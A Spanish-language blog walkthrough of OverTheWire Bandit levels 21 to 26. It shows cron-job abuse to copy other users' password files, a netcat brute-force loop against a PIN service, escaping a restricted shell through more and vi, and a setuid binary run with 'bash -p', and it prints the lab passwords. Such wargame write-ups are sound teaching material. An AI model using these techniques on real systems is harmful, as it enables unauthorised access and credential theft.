Juegos de Guerra "Bandit" Overthewire
Published on August 27, 2023 by Gmichet
LINUX BANDIT
17 min READ
Bienvenido a la parte número 5 de los juegos “Bandit” de la página OverTherWire
Skills | Enlace |
---|---|
Tareas CRON | CRON |
Modificando stdout de una tarea CRON | CRON |
Explotando una tarea CRON | CRON |
Ataque de fuerza bruta por netcat | Script force brute |
Uso del MORE | MORE |
Un programa se ejecuta automáticamente a intervalos regulares desde cron, el programador de trabajos basado en el tiempo. Busque en /etc/cron.d/ la configuración y vea qué comando se está ejecutando.
Iniciamos:
ssh bandit21@bandit.labs.overthewire.org -p 2220
CRON
Antes que nada debemos conocer que son las tareas CRON. Bueno “CRON” es un demonio que correra en el sistema media vez encendamos el equipo, las tareas CRON permiten programar y autorizar la ejecución de comandos o scripts en momentos especificos, ya sea de forma repetitiva o en horarios determinados.
bandit21@bandit:~$ cat /etc/crontab .d
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
minuto, hora, día del mes, mes y día de la semana.
La instrucción dice: Busque en /etc/cron.d/ la configuración y vea qué comando se está ejecutando.
bandit21@bandit:~$ cd /etc/cron.d/
bandit21@bandit:/etc/cron.d$ ls
cronjob_bandit15_root cronjob_bandit22 cronjob_bandit24 e2scrub_all sysstat
cronjob_bandit17_root cronjob_bandit23 cronjob_bandit25_root otw-tmp-dir
_
Miramos que es lo que hace el bandit22
que es el siguiente nivel:
Se ejecutará la tarea “CRON” cada vez que la computadora se reinicie y también cada minuto. La tarea consiste en ejecutar el script cronjob_bandit22.sh en el fondo y no mostrar ningún mensaje de salida o error.
bandit21@bandit:/etc/cron.d$ cat cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
El cronjob_bandit22.sh es el script que se ejecuta periódicamente como parte de una tarea programada en el sistema.
El archivo /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv parece ser un archivo temporal que se utiliza para almacenar la contraseña de bandit22
bandit21@bandit:/etc/cron.d$ cd /usr/bin/
bandit21@bandit:/usr/bin$ cat cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
bandit21@bandit:/usr/bin$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
WdDozAdTM2z9DiFEQ2mGlwngMfj4EZff
Un programa se ejecuta automáticamente a intervalos regulares desde cron, el programador de trabajos basado en el tiempo. Busque en /etc/cron.d/ la configuración y vea qué comando se está ejecutando.
NOTA: Mirar scripts de shell escritos por otras personas es una habilidad muy útil. El guión para este nivel se hace fácil de leer intencionalmente. Si tiene problemas para comprender lo que hace, intente ejecutarlo para ver la información de depuración que imprime.
Iniciamos:
ssh bandit22@bandit.labs.overthewire.org -p 2220
Primero accedemos al directorio en donde estan las tareas cron
bandit22@bandit:/etc$ cd cron.d
bandit22@bandit:/etc/cron.d$ cat cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
bandit22@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget
Para resolverlo podemos copiar lo que contiene la variable mytarget
que es el hash MD5, y solo cambiandole el nombre actual por el siguiente nivel “bandit23”:
bandit22@bandit:/etc/cron.d$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
mytarget
podemos ver la contraseña que va redirigida al archivo temporal tmp/$mytarget
en done “$mytarget” es el hash MD5 antes conseguido:bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
QYw0Y2aiA672PsMmh9puTQuhoz8SyR2G
Un programa se ejecuta automáticamente a intervalos regulares desde cron, el programador de trabajos basado en el tiempo. Busque en /etc/cron.d/ la configuración y vea qué comando se está ejecutando.
NOTA: este nivel requiere que cree su propio primer script de shell. ¡Este es un paso muy grande y deberías estar orgulloso de ti mismo cuando superes este nivel!
NOTA 2: tenga en cuenta que su script de shell se elimina una vez que se ejecuta, por lo que es posible que desee conservar una copia…
Iniciamos:
ssh bandit23@bandit.labs.overthewire.org -p 2220
bandit23@bandit:~$ cd /etc/cron.d/
bandit23@bandit:/etc/cron.d$ cat cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
_
Intentemos interpretar el funcionamiento del script, primero se ejecuta “myname=$whoami” en este caso es “bandit24” ya que es el que ejecuta el script * * * * * bandit24 /usr/bin/cronjob_bandit24.sh
.
bandit23@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
myname=$(whoami)
cd /var/spool/$myname/foo || exit 1
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
echo "Handling $i"
owner="$(stat --format "%U" ./$i)"
if [ "${owner}" = "bandit23" ]; then
timeout -s 9 60 ./$i
fi
rm -rf ./$i
fi
done
_
Luego entra al directorio /var/spool/$myname"/foo || exit 1
y si hay un stderr sale con código de error 1.
echo “Executing and deleting all scripts in /var/spool/$myname/foo Imprime el mensaje para indicar que se están ejecutando y eliminando todos los scripts en el directorio “/var/spool/$myname/foo”.
for i in * .*;
Inicia un bucle for que recorre todos los archivo y carpetas .*
Ahora pone la condición if [ “$i” != “.” -a “$i” != “..” ]; para que no se incluyan los dos archivos que viene por defecto en el sistema que es retroceso de directorio y directorio actual que son caracteres especiales.
Luego obtiene el propietario del archivo actual utilizando el comando stat y lo almacena en la variable owner: owner="$(stat --format "%U" ./$i)"
Después de lo anterior comprueba si el propietario del archivo actual es bandit24 if [ “${owner}” = “bandit23” ]; then
Si es el propietario entonces ejecuta el archivo ./$i con un tiempo máximo de ejecución de 60 segundos. Y termina eliminando el archivo después de su ejecución rm -rf ./$i
bandit23@bandit:/var/spool/bandit24$ ls -l
total 4
drwxrwx-wx 18 root bandit24 4096 Aug 30 16:50 foo
# Permisos de otros: escribir y ejecutar pero no leer con eso basta
Primero creamos un directorio temporal en donde crearemos el script
bandit23@bandit:~$ mkdir /tmp/mechitast
bandit23@bandit:~$ cd /tmp/mechitast
# Cambiamos los permisos del directorio temporal en donde otros(nosotros) podamos escribir
bandit23@bandit: /tmp/mechitast$chmod o+w //tmp/mechitast
#!/bin/bash
#La lectura de cat quiero que lo metas en la ruta temporal y en concreto al archivo txt
cat /etc/bandit_pass/bandit24 > /tmp/mechitast/clave.txt
bandit23@bandit:/tmp/mechitast$ chmod 777 script.sh
bandit23@bandit:/tmp/mechitast$ ls -l
total 4
-rwxrwxrwx 1 bandit23 bandit23 159 Aug 30 17:02 script.sh
bandit23@bandit:/tmp/mechitast$ cp script.sh /var/spool/bandit24/foo/
bandit23@bandit:/tmp/mechitast$ watch -n 1 ls -l
Every 1.0s: ls -l bandit: Wed Aug 30 17:06:08 2023
total 8
-rw-rw-r-- 1 bandit24 bandit24 33 Aug 30 17:06 clave.txt
-rwxrwxrwx 1 bandit23 bandit23 159 Aug 30 17:02 script.sh
bandit23@bandit:/tmp/mechitast$ cat clave.txt
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar
Un demonio está escuchando en el puerto 30002 y le dará la contraseña de bandit25:
No necesita crear nuevas conexiones cada vez.
Iniciamos:
ssh bandit24@bandit.labs.overthewire.org -p 2220
Para el PIN code de 4 dígitos hay 10 opciones para cada dígito (0 al 9) y 4 dígitos en total:
Combinaciones posibles = 10^4 = 10,000
Inicio 0000 -–❯ 9999 Fin
#!/bin/bash
for i in {0000..9999}; do
echo "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar $i"
done
Método 1
Los ataques de fuerza bruta generalmente se hacen a través de un diccionario entonces redirigimos el script a uno:
bandit24@bandit:/tmp/tmp.2UANuQNZor$ ./fuerza_bruta.sh > diccionario.txt
...
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9994
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9995
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9996
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9997
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9998
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 9999
cat diccionario.txt | nc localhost 30002 | grep -v -E "Wrong|Please"
_
Método 2
bandit24@bandit:/tmp/tmp.nogmGeDiv6$ ./fuerza_bruta.sh -v | nc localhost 30002 | grep -v -E "Wrong|Please"
Correct!
The password of user bandit25 is p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d
Exiting.
Iniciar sesión en bandit26 desde bandit25 debería ser bastante fácil… El shell para el usuario bandit26 no es /bin/bash, sino otra cosa. Descubra qué es, cómo funciona y cómo salir de él.
Iniciamos:
ssh bandit25@bandit.labs.overthewire.org -p 2220
Listamos, encontramos una llave ssh
bandit25@bandit:~$ ls
bandit26.sshkey
bandit25@bandit:~$ ssh -i bandit26.sshkey bandit26@localhost -p 2220
_ _ _ _ ___ __
| | | (_) | |__ \ / /
| |__ __ _ _ __ __| |_| |_ ) / /_
| '_ \ / _` | '_ \ / _` | | __| / / '_ \
| |_) | (_| | | | | (_| | | |_ / /| (_) |
|_.__/ \__,_|_| |_|\__,_|_|\__|____\___/
Connection to localhost closed.
bandit25@bandit:~$ ssh -i bandit26.sshkey bandit26@localhost -p 2220 bashp -p
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit25/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit25/.ssh/known_hosts).
_ _ _ _
| |__ __ _ _ __ __| (_) |_
| '_ \ / _` | '_ \ / _` | | __|
| |_) | (_| | | | | (_| | | |_
|_.__/ \__,_|_| |_|\__,_|_|\__|
This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames
!!! You are trying to log into this SSH server with a password on port 2220 from localhost.
!!! Connecting from localhost is blocked to conserve resources.
!!! Please log out and log in again.
whoami
ls
bandit25@bandit:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
# etc...
bandit25@bandit:~$ cat /etc/passwd | grep "bandit26"
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
# Diferencia entre el nivel actual y el nivel siguiente
bandit25@bandit:~$ cat /etc/passwd | grep "bandit25"
bandit25:x:11025:11025:bandit level 25:/home/bandit25:/bin/bash
bandit25@bandit:~$ cat /usr/bin/showtext
#!/bin/sh
export TERM=linux
exec more ~/text.txt
exit 0
MORE
El comando more se utiliza para mostrar contenido de un archivo en el terminal de manera paginada, lo que significa que el contenido se muestra en páginas y el usuario puede avanzar o retroceder.
Un ejemplo sencillo puede ser el siguiente al final se puede ver un more
❯ more 2023-08-25-Bandit16-20.md:/et
---
title: Bandit 21 -–❯ 25
layout: post
post-image: /assets/images/Post/P8/5.jpg
description: Juegos de Guerra "Bandit" Overthewire
tags:
- LINUX
- BANDIT
--More--(0%)
Primero intentemos forzar el modo more en la conexión del ssh:
El truco es hacer la terminal lo suficientemente pequeña para que el more se aplique
# Presionar la tecla v
v
# Después el comando que necesitamos
:set shell=/bin/bash
# Finalmente spawneamos la shell
:shell
Listamos el contenido:
bandit26@bandit:~$ ls
bandit27-do text.txt
bandit26@bandit:~$ cat text.txt
_ _ _ _ ___ __
| | | (_) | |__ \ / /
| |__ __ _ _ __ __| |_| |_ ) / /_
| '_ \ / _` | '_ \ / _` | | __| / / '_ \
| |_) | (_| | | | | (_| | | |_ / /| (_) |
|_.__/ \__,_|_| |_|\__,_|_|\__|____\___/
bandit26@bandit:~$ ls -l
total 20
-rwsr-x--- 1 bandit27 bandit26 14876 Apr 23 18:04 bandit27-do
-rw-r----- 1 bandit26 bandit26 258 Apr 23 18:04 text.txt
bandit26@bandit:~$ ./bandit27-do
Run a command as another user.
Example: ./bandit27-do id
bandit26@bandit:~$ ./bandit27-do whoami
bandit27
bandit26@bandit:~$ ./bandit27-do bash -p
bash-5.1$ ls
bash-5.1$ whoami
bandit27
bash-5.1$ cat /etc/bandit_pass/bandit27
YnQpBuifNMas1hcUFk70ZmqkhUU2EuaS